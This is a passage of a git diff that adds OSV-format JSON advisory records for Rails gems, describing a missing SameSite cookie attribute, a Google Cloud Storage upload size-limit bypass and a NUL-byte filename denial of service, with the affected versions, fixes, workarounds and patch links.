independently by Bucky Wolfe ([Igneous](https://github.com/Igneous)), who provided a proof of concept that crashes the server. It was also found by the Anthropic OSS Scanner (ANT-2026-ZUN5KU3Q).","affected":[{"package":{"name":"activesupport","ecosystem":"RubyGems","purl":"pkg:gem/activesupport"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1.0.beta1"},{"fixed":"8.1.4.1"}]}],"versions":["8.1.0","8.1.0.beta1","8.1.0.rc1","8.1.1","8.1.2","8.1.2.1","8.1.3","8.1.3.1","8.1.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8474-xrp6-wh69/GHSA-8474-xrp6-wh69.json"}},{"package":{"name":"activesupport","ecosystem":"RubyGems","purl":"pkg:gem/activesupport"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.0.5.2"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.1.0","1.1.1","1.2.1","1.2.2","1.2.3","1.2.4","1.2.5","1.3.0","1.3.1","1.4.0","1.4.1","1.4.2","1.4.3","1.4.4","2.0.0","2.0.1","2.0.2","2.0.4","2.0.5","2.1.0","2.1.1","2.1.2","2.2.2","2.2.3","2.3.10","2.3.11","2.3.12","2.3.14","2.3.15","2.3.16","2.3.17","2.3.18","2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.6.pre","2.3.7","2.3.8","2.3.8.pre1","2.3.9","2.3.9.pre","3.0.0","3.0.0.beta","3.0.0.beta2","3.0.0.beta3","3.0.0.beta4","3.0.0.rc","3.0.0.rc2","3.0.1","3.0.10","3.0.10.rc1","3.0.11","3.0.12","3.0.12.rc1","3.0.13","3.0.13.rc1","3.0.14","3.0.15","3.0.16","3.0.17","3.0.18","3.0.19","3.0.2","3.0.20","3.0.3","3.0.4","3.0.4.rc1","3.0.5","3.0.5.rc1","3.0.6","3.0.6.rc1","3.0.6.rc2","3.0.7","3.0.7.rc1","3.0.7.rc2","3.0.8","3.0.8.rc1","3.0.8.rc2","3.0.8.rc4","3.0.9","3.0.9.rc1","3.0.9.rc3","3.0.9.rc4","3.0.9.rc5","3.0.pre","3.1.0","3.1.0.beta1","3.1.0.rc1","3.1.0.rc2","3.1.0.rc3","3.1.0.rc4","3.1.0.rc5","3.1.0.rc6","3.1.0.rc8","3.1.1","3.1.1.rc1","3.1.1.rc2","3.1.1.rc3","3.1.10","3.1.11","3.1.12","3.1.2","3.1.2.rc1","3.1.2.rc2","3.1.3","3.1.4","3.1.4.rc1","3.1.5","3.1.5.rc1","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0.rc1","3.2.0.rc2","3.2.1","3.2.10","3.2.11","3.2.12","3.2.13","3.2.13.rc1","3.2.13.rc2","3.2.14","3.2.14.rc1","3.2.14.rc2","3.2.15","3.2.15.rc1","3.2.15.rc2","3.2.15.rc3","3.2.16","3.2.17","3.2.18","3.2.19","3.2.2","3.2.2.rc1","3.2.20","3.2.21","3.2.22","3.2.22.1","3.2.22.2","3.2.22.3","3.2.22.4","3.2.22.5","3.2.3","3.2.3.rc1","3.2.3.rc2","3.2.4","3.2.4.rc1","3.2.5","3.2.6","3.2.7","3.2.7.rc1","3.2.8","3.2.8.rc1","3.2.8.rc2","3.2.9","3.2.9.rc1","3.2.9.rc2","3.2.9.rc3","4.0.0","4.0.0.beta1","4.0.0.rc1","4.0.0.rc2","4.0.1","4.0.1.rc1","4.0.1.rc2","4.0.1.rc3","4.0.1.rc4","4.0.10","4.0.10.rc1","4.0.10.rc2","4.0.11","4.0.11.1","4.0.12","4.0.13","4.0.13.rc1","4.0.2","4.0.3","4.0.4","4.0.4.rc1","4.0.5","4.0.6","4.0.6.rc1","4.0.6.rc2","4.0.6.rc3","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0.beta1","4.1.0.beta2","4.1.0.rc1","4.1.0.rc2","4.1.1","4.1.10","4.1.10.rc1","4.1.10.rc2","4.1.10.rc3","4.1.10.rc4","4.1.11","4.1.12","4.1.12.rc1","4.1.13","4.1.13.rc1","4.1.14","4.1.14.1","4.1.14.2","4.1.14.rc1","4.1.14.rc2","4.1.15","4.1.15.rc1","4.1.16","4.1.16.rc1","4.1.2","4.1.2.rc1","4.1.2.rc2","4.1.2.rc3","4.1.3","4.1.4","4.1.5","4.1.6","4.1.6.rc1","4.1.6.rc2","4.1.7","4.1.7.1","4.1.8","4.1.9","4.1.9.rc1","4.2.0","4.2.0.beta1","4.2.0.beta2","4.2.0.beta3","4.2.0.beta4","4.2.0.rc1","4.2.0.rc2","4.2.0.rc3","4.2.1","4.2.1.rc1","4.2.1.rc2","4.2.1.rc3","4.2.1.rc4","4.2.10","4.2.10.rc1","4.2.11","4.2.11.1","4.2.11.2","4.2.11.3","4.2.2","4.2.3","4.2.3.rc1","4.2.4","4.2.4.rc1","4.2.5","4.2.5.1","4.2.5.2","4.2.5.rc1","4.2.5.rc2","4.2.6","4.2.6.rc1","4.2.7","4.2.7.1","4.2.7.rc1","4.2.8","4.2.8.rc1","4.2.9","4.2.9.rc1","4.2.9.rc2","5.0.0","5.0.0.1","5.0.0.beta1","5.0.0.beta1.1","5.0.0.beta2","5.0.0.beta3","5.0.0.beta4","5.0.0.racecar1","5.0.0.rc1","5.0.0.rc2","5.0.1","5.0.1.rc1","5.0.1.rc2","5.0.2","5.0.2.rc1","5.0.3","5.0.4","5.0.4.rc1","5.0.5","5.0.5.rc1","5.0.5.rc2","5.0.6","5.0.6.rc1","5.0.7","5.0.7.1","5.0.7.2","5.1.0","5.1.0.beta1","5.1.0.rc1","5.1.0.rc2","5.1.1","5.1.2","5.1.2.rc1","5.1.3","5.1.3.rc1","5.1.3.rc2","5.1.3.rc3","5.1.4","5.1.4.rc1","5.1.5","5.1.5.rc1","5.1.6","5.1.6.1","5.1.6.2","5.1.7","5.1.7.rc1","5.2.0","5.2.0.beta1","5.2.0.beta2","5.2.0.rc1","5.2.0.rc2","5.2.1","5.2.1.1","5.2.1.rc1","5.2.2","5.2.2.1","5.2.2.rc1","5.2.3","5.2.3.rc1","5.2.4","5.2.4.1","5.2.4.2","5.2.4.3","5.2.4.4","5.2.4.5","5.2.4.6","5.2.4.rc1","5.2.5","5.2.6","5.2.6.1","5.2.6.2","5.2.6.3","5.2.7","5.2.7.1","5.2.8","5.2.8.1","6.0.0","6.0.0.beta1","6.0.0.beta2","6.0.0.beta3","6.0.0.rc1","6.0.0.rc2","6.0.1","6.0.1.rc1","6.0.2","6.0.2.1","6.0.2.2","6.0.2.rc1","6.0.2.rc2","6.0.3","6.0.3.1","6.0.3.2","6.0.3.3","6.0.3.4","6.0.3.5","6.0.3.6","6.0.3.7","6.0.3.rc1","6.0.4","6.0.4.1","6.0.4.2","6.0.4.3","6.0.4.4","6.0.4.5","6.0.4.6","6.0.4.7","6.0.4.8","6.0.5","6.0.5.1","6.0.6","6.0.6.1","6.1.0","6.1.0.rc1","6.1.0.rc2","6.1.1","6.1.2","6.1.2.1","6.1.3","6.1.3.1","6.1.3.2","6.1.4","6.1.4.1","6.1.4.2","6.1.4.3","6.1.4.4","6.1.4.5","6.1.4.6","6.1.4.7","6.1.5","6.1.5.1","6.1.6","6.1.6.1","6.1.7","6.1.7.1","6.1.7.10","6.1.7.2","6.1.7.3","6.1.7.4","6.1.7.5","6.1.7.6","6.1.7.7","6.1.7.8","6.1.7.9","7.0.0","7.0.0.alpha1","7.0.0.alpha2","7.0.0.rc1","7.0.0.rc2","7.0.0.rc3","7.0.1","7.0.10","7.0.2","7.0.2.1","7.0.2.2","7.0.2.3","7.0.2.4","7.0.3","7.0.3.1","7.0.4","7.0.4.1","7.0.4.2","7.0.4.3","7.0.5","7.0.5.1","7.0.6","7.0.7","7.0.7.1","7.0.7.2","7.0.8","7.0.8.1","7.0.8.2","7.0.8.3","7.0.8.4","7.0.8.5","7.0.8.6","7.0.8.7","7.0.9","7.1.0","7.1.0.beta1","7.1.0.rc1","7.1.0.rc2","7.1.1","7.1.2","7.1.3","7.1.3.1","7.1.3.2","7.1.3.3","7.1.3.4","7.1.4","7.1.4.1","7.1.4.2","7.1.5","7.1.5.1","7.1.5.2","7.1.6","7.2.0","7.2.0.beta1","7.2.0.beta2","7.2.0.beta3","7.2.0.rc1","7.2.1","7.2.1.1","7.2.1.2","7.2.2","7.2.2.1","7.2.2.2","7.2.3","7.2.3.1","7.2.3.2","7.2.4","8.0.0","8.0.0.1","8.0.0.beta1","8.0.0.rc1","8.0.0.rc2","8.0.1","8.0.2","8.0.2.1","8.0.3","8.0.4","8.0.4.1","8.0.5","8.0.5.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8474-xrp6-wh69/GHSA-8474-xrp6-wh69.json"}}],"references":[{"type":"WEB","url":"https://github.com/rails/rails/security/advisories/GHSA-8474-xrp6-wh69"},{"type":"WEB","url":"https://github.com/rails/rails/commit/210ac22d446c8e2625b091e79256806b836eee20"},{"type":"WEB","url":"https://github.com/rails/rails/commit/95aa9e416016524956d4904fed96eaed079580bb"},{"type":"PACKAGE","url":"https://github.com/rails/rails"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.0.5.2"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.1.4.1"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/activesupport/GHSA-8474-xrp6-wh69.yml"}],"database_specific":{"cwe_ids":["CWE-74"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T21:34:11Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}
\ No newline at end of file
diff --git a/data/RubyGems/GHSA-gmj8-hvj3-49mw.json b/data/RubyGems/GHSA-gmj8-hvj3-49mw.json
new file mode 100644
index 0000000000..8b6208b9c8
--- /dev/null
+++ b/data/RubyGems/GHSA-gmj8-hvj3-49mw.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-gmj8-hvj3-49mw","published":"2026-11-10T21:25:18Z","modified":"2026-11-10T21:45:03.954839319Z","aliases":["CVE-2026-126067"],"summary":"Action Pack: Missing SameSite attribute on session cookies from Action Pack session stores","details":"### Impact\nAction Pack session stores other than `ActionDispatch::Session::CookieStore` (`CacheStore`, `MemCacheStore`, and third-party stores built on `AbstractStore`, `AbstractSecureStore` or the session mixins) write the session cookie without a `SameSite` attribute, regardless of `config.action_dispatch.cookies_same_site_protection`, which defaults to `:lax`. Only `CookieStore` applies the configured policy. In browsers that do not treat a cookie without the attribute as `SameSite=Lax`, a cross-site request could carry the session cookie, possibly leading to cross-site request forgery against actions that do not verify an authenticity token, such as those of API-only applications.\n\nApplications are affected when they use a session store other than `CookieStore` and do not pass `same_site:` to `config.session_store`.\n\n### Details\nIn the fixed releases, every session store sets the session cookie's `SameSite` attribute from `cookies_same_site_protection` when its options have no `:same_site` key. An explicit `same_site:` option, including `same_site: nil`, and a `:same_site` value in a store's `DEFAULT_OPTIONS` still take precedence.\n\n### Workarounds\nPass `same_site:` when configuring the session store, for example `config.session_store :cache_store, same_site: :lax`.\n\n### Releases\nThe fixed releases are available at the normal locations.\n\nPatches for those who cannot upgrade at once:\n- 8.1: https://github.com/rails/rails/commit/2d9f502df941e31ce9bad0e846564f49396bed46.patch\n- 8.0: https://github.com/rails/rails/commit/f2392996be723708271a8d30bfcf0edc221e53ef.patch\n\n### Credit\nThis issue was responsibly reported by HackerOne researcher [tjvc](https://hackerone.com/tjvc).","affected":[{"package":{"name":"actionpack","ecosystem":"RubyGems","purl":"pkg:gem/actionpack"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1.0.beta1"},{"fixed":"8.1.4.1"}]}],"versions":["8.1.0","8.1.0.beta1","8.1.0.rc1","8.1.1","8.1.2","8.1.2.1","8.1.3","8.1.3.1","8.1.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-gmj8-hvj3-49mw/GHSA-gmj8-hvj3-49mw.json"}},{"package":{"name":"actionpack","ecosystem":"RubyGems","purl":"pkg:gem/actionpack"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.0.5.2"}]}],"versions":["0.9.0","0.9.5","1.0.0","1.0.1","1.1.0","1.10.1","1.10.2","1.11.0","1.11.1","1.11.2","1.12.0","1.12.1","1.12.2","1.12.3","1.12.4","1.12.5","1.13.0","1.13.1","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.2.0","1.3.0","1.3.1","1.4.0","1.5.0","1.5.1","1.6.0","1.7.0","1.8.0","1.8.1","1.9.0","1.9.1","2.0.0","2.0.1","2.0.2","2.0.4","2.0.5","2.1.0","2.1.1","2.1.2","2.2.2","2.2.3","2.3.10","2.3.11","2.3.12","2.3.14","2.3.15","2.3.16","2.3.17","2.3.18","2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.7","2.3.8","2.3.8.pre1","2.3.9","2.3.9.pre","3.0.0","3.0.0.beta","3.0.0.beta2","3.0.0.beta3","3.0.0.beta4","3.0.0.rc","3.0.0.rc2","3.0.1","3.0.10","3.0.10.rc1","3.0.11","3.0.12","3.0.12.rc1","3.0.13","3.0.13.rc1","3.0.14","3.0.15","3.0.16","3.0.17","3.0.18","3.0.19","3.0.2","3.0.20","3.0.3","3.0.4","3.0.4.rc1","3.0.5","3.0.5.rc1","3.0.6","3.0.6.rc1","3.0.6.rc2","3.0.7","3.0.7.rc1","3.0.7.rc2","3.0.8","3.0.8.rc1","3.0.8.rc2","3.0.8.rc4","3.0.9","3.0.9.rc1","3.0.9.rc3","3.0.9.rc4","3.0.9.rc5","3.1.0","3.1.0.beta1","3.1.0.rc1","3.1.0.rc2","3.1.0.rc3","3.1.0.rc4","3.1.0.rc5","3.1.0.rc6","3.1.0.rc8","3.1.1","3.1.1.rc1","3.1.1.rc2","3.1.1.rc3","3.1.10","3.1.11","3.1.12","3.1.2","3.1.2.rc1","3.1.2.rc2","3.1.3","3.1.4","3.1.4.rc1","3.1.5","3.1.5.rc1","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0.rc1","3.2.0.rc2","3.2.1","3.2.10","3.2.11","3.2.12","3.2.13","3.2.13.rc1","3.2.13.rc2","3.2.14","3.2.14.rc1","3.2.14.rc2","3.2.15","3.2.15.rc1","3.2.15.rc2","3.2.15.rc3","3.2.16","3.2.17","3.2.18","3.2.19","3.2.2","3.2.2.rc1","3.2.20","3.2.21","3.2.22","3.2.22.1","3.2.22.2","3.2.22.3","3.2.22.4","3.2.22.5","3.2.3","3.2.3.rc1","3.2.3.rc2","3.2.4","3.2.4.rc1","3.2.5","3.2.6","3.2.7","3.2.7.rc1","3.2.8","3.2.8.rc1","3.2.8.rc2","3.2.9","3.2.9.rc1","3.2.9.rc2","3.2.9.rc3","4.0.0","4.0.0.beta1","4.0.0.rc1","4.0.0.rc2","4.0.1","4.0.1.rc1","4.0.1.rc2","4.0.1.rc3","4.0.1.rc4","4.0.10","4.0.10.rc1","4.0.10.rc2","4.0.11","4.0.11.1","4.0.12","4.0.13","4.0.13.rc1","4.0.2","4.0.3","4.0.4","4.0.4.rc1","4.0.5","4.0.6","4.0.6.rc1","4.0.6.rc2","4.0.6.rc3","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0.beta1","4.1.0.beta2","4.1.0.rc1","4.1.0.rc2","4.1.1","4.1.10","4.1.10.rc1","4.1.10.rc2","4.1.10.rc3","4.1.10.rc4","4.1.11","4.1.12","4.1.12.rc1","4.1.13","4.1.13.rc1","4.1.14","4.1.14.1","4.1.14.2","4.1.14.rc1","4.1.14.rc2","4.1.15","4.1.15.rc1","4.1.16","4.1.16.rc1","4.1.2","4.1.2.rc1","4.1.2.rc2","4.1.2.rc3","4.1.3","4.1.4","4.1.5","4.1.6","4.1.6.rc1","4.1.6.rc2","4.1.7","4.1.7.1","4.1.8","4.1.9","4.1.9.rc1","4.2.0","4.2.0.beta1","4.2.0.beta2","4.2.0.beta3","4.2.0.beta4","4.2.0.rc1","4.2.0.rc2","4.2.0.rc3","4.2.1","4.2.1.rc1","4.2.1.rc2","4.2.1.rc3","4.2.1.rc4","4.2.10","4.2.10.rc1","4.2.11","4.2.11.1","4.2.11.2","4.2.11.3","4.2.2","4.2.3","4.2.3.rc1","4.2.4","4.2.4.rc1","4.2.5","4.2.5.1","4.2.5.2","4.2.5.rc1","4.2.5.rc2","4.2.6","4.2.6.rc1","4.2.7","4.2.7.1","4.2.7.rc1","4.2.8","4.2.8.rc1","4.2.9","4.2.9.rc1","4.2.9.rc2","5.0.0","5.0.0.1","5.0.0.beta1","5.0.0.beta1.1","5.0.0.beta2","5.0.0.beta3","5.0.0.beta4","5.0.0.racecar1","5.0.0.rc1","5.0.0.rc2","5.0.1","5.0.1.rc1","5.0.1.rc2","5.0.2","5.0.2.rc1","5.0.3","5.0.4","5.0.4.rc1","5.0.5","5.0.5.rc1","5.0.5.rc2","5.0.6","5.0.6.rc1","5.0.7","5.0.7.1","5.0.7.2","5.1.0","5.1.0.beta1","5.1.0.rc1","5.1.0.rc2","5.1.1","5.1.2","5.1.2.rc1","5.1.3","5.1.3.rc1","5.1.3.rc2","5.1.3.rc3","5.1.4","5.1.4.rc1","5.1.5","5.1.5.rc1","5.1.6","5.1.6.1","5.1.6.2","5.1.7","5.1.7.rc1","5.2.0","5.2.0.beta1","5.2.0.beta2","5.2.0.rc1","5.2.0.rc2","5.2.1","5.2.1.1","5.2.1.rc1","5.2.2","5.2.2.1","5.2.2.rc1","5.2.3","5.2.3.rc1","5.2.4","5.2.4.1","5.2.4.2","5.2.4.3","5.2.4.4","5.2.4.5","5.2.4.6","5.2.4.rc1","5.2.5","5.2.6","5.2.6.1","5.2.6.2","5.2.6.3","5.2.7","5.2.7.1","5.2.8","5.2.8.1","6.0.0","6.0.0.beta1","6.0.0.beta2","6.0.0.beta3","6.0.0.rc1","6.0.0.rc2","6.0.1","6.0.1.rc1","6.0.2","6.0.2.1","6.0.2.2","6.0.2.rc1","6.0.2.rc2","6.0.3","6.0.3.1","6.0.3.2","6.0.3.3","6.0.3.4","6.0.3.5","6.0.3.6","6.0.3.7","6.0.3.rc1","6.0.4","6.0.4.1","6.0.4.2","6.0.4.3","6.0.4.4","6.0.4.5","6.0.4.6","6.0.4.7","6.0.4.8","6.0.5","6.0.5.1","6.0.6","6.0.6.1","6.1.0","6.1.0.rc1","6.1.0.rc2","6.1.1","6.1.2","6.1.2.1","6.1.3","6.1.3.1","6.1.3.2","6.1.4","6.1.4.1","6.1.4.2","6.1.4.3","6.1.4.4","6.1.4.5","6.1.4.6","6.1.4.7","6.1.5","6.1.5.1","6.1.6","6.1.6.1","6.1.7","6.1.7.1","6.1.7.10","6.1.7.2","6.1.7.3","6.1.7.4","6.1.7.5","6.1.7.6","6.1.7.7","6.1.7.8","6.1.7.9","7.0.0","7.0.0.alpha1","7.0.0.alpha2","7.0.0.rc1","7.0.0.rc2","7.0.0.rc3","7.0.1","7.0.10","7.0.2","7.0.2.1","7.0.2.2","7.0.2.3","7.0.2.4","7.0.3","7.0.3.1","7.0.4","7.0.4.1","7.0.4.2","7.0.4.3","7.0.5","7.0.5.1","7.0.6","7.0.7","7.0.7.1","7.0.7.2","7.0.8","7.0.8.1","7.0.8.2","7.0.8.3","7.0.8.4","7.0.8.5","7.0.8.6","7.0.8.7","7.1.0","7.1.0.beta1","7.1.0.rc1","7.1.0.rc2","7.1.1","7.1.2","7.1.3","7.1.3.1","7.1.3.2","7.1.3.3","7.1.3.4","7.1.4","7.1.4.1","7.1.4.2","7.1.5","7.1.5.1","7.1.5.2","7.1.6","7.2.0","7.2.0.beta1","7.2.0.beta2","7.2.0.beta3","7.2.0.rc1","7.2.1","7.2.1.1","7.2.1.2","7.2.2","7.2.2.1","7.2.2.2","7.2.3","7.2.3.1","7.2.3.2","7.2.4","8.0.0","8.0.0.1","8.0.0.beta1","8.0.0.rc1","8.0.0.rc2","8.0.1","8.0.2","8.0.2.1","8.0.3","8.0.4","8.0.4.1","8.0.5","8.0.5.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-gmj8-hvj3-49mw/GHSA-gmj8-hvj3-49mw.json"}}],"references":[{"type":"WEB","url":"https://github.com/rails/rails/security/advisories/GHSA-gmj8-hvj3-49mw"},{"type":"WEB","url":"https://github.com/rails/rails/commit/2d9f502df941e31ce9bad0e846564f49396bed46"},{"type":"WEB","url":"https://github.com/rails/rails/commit/f2392996be723708271a8d30bfcf0edc221e53ef"},{"type":"PACKAGE","url":"https://github.com/rails/rails"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.0.5.2"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.1.4.1"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/actionpack/GHSA-gmj8-hvj3-49mw.yml"}],"database_specific":{"cwe_ids":["CWE-352"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T21:25:18Z","nvd_published_at":null,"severity":"LOW"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N"}]}
\ No newline at end of file
diff --git a/data/RubyGems/GHSA-hfr4-8rjc-97m2.json b/data/RubyGems/GHSA-hfr4-8rjc-97m2.json
new file mode 100644
index 0000000000..fca03274fa
--- /dev/null
+++ b/data/RubyGems/GHSA-hfr4-8rjc-97m2.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-hfr4-8rjc-97m2","published":"2026-11-10T21:37:19Z","modified":"2026-11-10T21:45:04.240426616Z","aliases":["CVE-2026-126085"],"summary":"Active Storage: Possible circumvention of file size limits in Active Storage direct uploads to Google Cloud Storage","details":"### Impact\n`ActiveStorage::Service::GCSService#url_for_direct_upload` does not bind the declared content length into the signed direct-upload URL, and `#headers_for_direct_upload` returns no length constraint, so the URL authorizes an upload body of any size. A direct-upload client could store a file larger than the `byte_size` it declared, and the resulting blob keeps the declared size, possibly bypassing application file size validations and quotas. This is the weakness that CVE-2020-8162 fixed in the S3 service.\n\nApplications that store files in Google Cloud Storage and accept direct uploads are affected.\n\n### Details\nThe fixed releases sign an `x-goog-content-length-range` header that matches the blob's declared `byte_size` and return it from `headers_for_direct_upload`, so Cloud Storage rejects an upload body of any other size. Browsers send this header with the direct upload, so a bucket's CORS configuration must list `x-goog-content-length-range` in `responseHeader`, or browser direct uploads fail after the upgrade. The Active Storage CHANGELOG and the CORS example in the Active Storage guide show the change.\n\n### Releases\nThe fixed releases are available at the normal locations.\n\nPatches for those who cannot upgrade at once:\n- 8.1: https://github.com/rails/rails/commit/e19916cea31cbfb0030b165ae853b741f8dd57a7.patch\n- 8.0: https://github.com/rails/rails/commit/7fe85a72a789eae5ee070ce3ee1dad10a8a5f70c.patch\n\n### Credit\nThis issue was responsibly reported by HackerOne researcher [f4cts](https://hackerone.com/f4cts).","affected":[{"package":{"name":"activestorage","ecosystem":"RubyGems","purl":"pkg:gem/activestorage"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1.0.beta1"},{"fixed":"8.1.4.1"}]}],"versions":["8.1.0","8.1.0.beta1","8.1.0.rc1","8.1.1","8.1.2","8.1.2.1","8.1.3","8.1.3.1","8.1.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-hfr4-8rjc-97m2/GHSA-hfr4-8rjc-97m2.json"}},{"package":{"name":"activestorage","ecosystem":"RubyGems","purl":"pkg:gem/activestorage"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.0.5.2"}]}],"versions":["0.1","5.2.0","5.2.0.beta1","5.2.0.beta2","5.2.0.rc1","5.2.0.rc2","5.2.1","5.2.1.1","5.2.1.rc1","5.2.2","5.2.2.1","5.2.2.rc1","5.2.3","5.2.3.rc1","5.2.4","5.2.4.1","5.2.4.2","5.2.4.3","5.2.4.4","5.2.4.5","5.2.4.6","5.2.4.rc1","5.2.5","5.2.6","5.2.6.1","5.2.6.2","5.2.6.3","5.2.7","5.2.7.1","5.2.8","5.2.8.1","6.0.0","6.0.0.beta1","6.0.0.beta2","6.0.0.beta3","6.0.0.rc1","6.0.0.rc2","6.0.1","6.0.1.rc1","6.0.2","6.0.2.1","6.0.2.2","6.0.2.rc1","6.0.2.rc2","6.0.3","6.0.3.1","6.0.3.2","6.0.3.3","6.0.3.4","6.0.3.5","6.0.3.6","6.0.3.7","6.0.3.rc1","6.0.4","6.0.4.1","6.0.4.2","6.0.4.3","6.0.4.4","6.0.4.5","6.0.4.6","6.0.4.7","6.0.4.8","6.0.5","6.0.5.1","6.0.6","6.0.6.1","6.1.0","6.1.0.rc1","6.1.0.rc2","6.1.1","6.1.2","6.1.2.1","6.1.3","6.1.3.1","6.1.3.2","6.1.4","6.1.4.1","6.1.4.2","6.1.4.3","6.1.4.4","6.1.4.5","6.1.4.6","6.1.4.7","6.1.5","6.1.5.1","6.1.6","6.1.6.1","6.1.7","6.1.7.1","6.1.7.10","6.1.7.2","6.1.7.3","6.1.7.4","6.1.7.5","6.1.7.6","6.1.7.7","6.1.7.8","6.1.7.9","7.0.0","7.0.0.alpha1","7.0.0.alpha2","7.0.0.rc1","7.0.0.rc2","7.0.0.rc3","7.0.1","7.0.10","7.0.2","7.0.2.1","7.0.2.2","7.0.2.3","7.0.2.4","7.0.3","7.0.3.1","7.0.4","7.0.4.1","7.0.4.2","7.0.4.3","7.0.5","7.0.5.1","7.0.6","7.0.7","7.0.7.1","7.0.7.2","7.0.8","7.0.8.1","7.0.8.2","7.0.8.3","7.0.8.4","7.0.8.5","7.0.8.6","7.0.8.7","7.1.0","7.1.0.beta1","7.1.0.rc1","7.1.0.rc2","7.1.1","7.1.2","7.1.3","7.1.3.1","7.1.3.2","7.1.3.3","7.1.3.4","7.1.4","7.1.4.1","7.1.4.2","7.1.5","7.1.5.1","7.1.5.2","7.1.6","7.2.0","7.2.0.beta1","7.2.0.beta2","7.2.0.beta3","7.2.0.rc1","7.2.1","7.2.1.1","7.2.1.2","7.2.2","7.2.2.1","7.2.2.2","7.2.3","7.2.3.1","7.2.3.2","7.2.4","8.0.0","8.0.0.1","8.0.0.beta1","8.0.0.rc1","8.0.0.rc2","8.0.1","8.0.2","8.0.2.1","8.0.3","8.0.4","8.0.4.1","8.0.5","8.0.5.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-hfr4-8rjc-97m2/GHSA-hfr4-8rjc-97m2.json"}}],"references":[{"type":"WEB","url":"https://github.com/rails/rails/security/advisories/GHSA-hfr4-8rjc-97m2"},{"type":"WEB","url":"https://github.com/rails/rails/commit/7fe85a72a789eae5ee070ce3ee1dad10a8a5f70c"},{"type":"WEB","url":"https://github.com/rails/rails/commit/e19916cea31cbfb0030b165ae853b741f8dd57a7"},{"type":"PACKAGE","url":"https://github.com/rails/rails"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.0.5.2"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.1.4.1"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/activestorage/GHSA-hfr4-8rjc-97m2.yml"}],"database_specific":{"cwe_ids":["CWE-602"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T21:37:19Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"}]}
\ No newline at end of file
diff --git a/data/RubyGems/GHSA-p2pm-g2h6-7j5j.json b/data/RubyGems/GHSA-p2pm-g2h6-7j5j.json
new file mode 100644
index 0000000000..b2334db4fb
--- /dev/null
+++ b/data/RubyGems/GHSA-p2pm-g2h6-7j5j.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-p2pm-g2h6-7j5j","published":"2026-11-10T21:33:12Z","modified":"2026-11-10T21:45:04.231789508Z","aliases":["CVE-2026-126074"],"summary":"Active Storage: Possible DoS vulnerability in Active Storage filename handling","details":"### Impact\n`ActiveStorage::Filename#base` and `#extension_with_delimiter`, and therefore `#extension`, pass the stored filename unmodified to `File.basename` and `File.extname`, which raise `ArgumentError` when the name contains a NUL byte. Active Storage stores the client-supplied filename verbatim, so a user who is permitted to upload an attachment could persist such a filename on databases that accept NUL bytes in string columns, such as SQLite and MySQL/MariaDB. Each subsequent request that builds a variant or preview of the blob, opens it, or renders it as an Action Text attachment then raises, possibly resulting in a persistent DoS vulnerability for the pages that display the blob until it is purged or its filename is corrected. Applications that use PostgreSQL are not affected, because PostgreSQL rejects the row.\n\n### Details\n`Filename#base` and `#extension_with_delimiter` now derive from `Filename#sanitized`, the form that `Filename#to_s` and the `Content-Disposition` header already use. For a filename that `#sanitized` changes, such as one containing a NUL byte, an invalid byte sequence, a path separator or another replaced character, the base and extension now agree with `#to_s`; the variant format inferred from such a name may change, and an existing variant may be regenerated once. Stored filenames are not modified, and no data migration is required.\n\n### Releases\nThe fixed releases are available at the normal locations.\n\nPatches for those who cannot upgrade at once:\n- 8.1: https://github.com/rails/rails/commit/60f22af88b71eae251f112d8c0237a08a8832692.patch\n- 8.0: https://github.com/rails/rails/commit/9b0d4bef2211a2c08cab2e0ea17fa1d0efd5d47a.patch\n\n### Credit\nThis issue was found by the Anthropic OSS Scanner 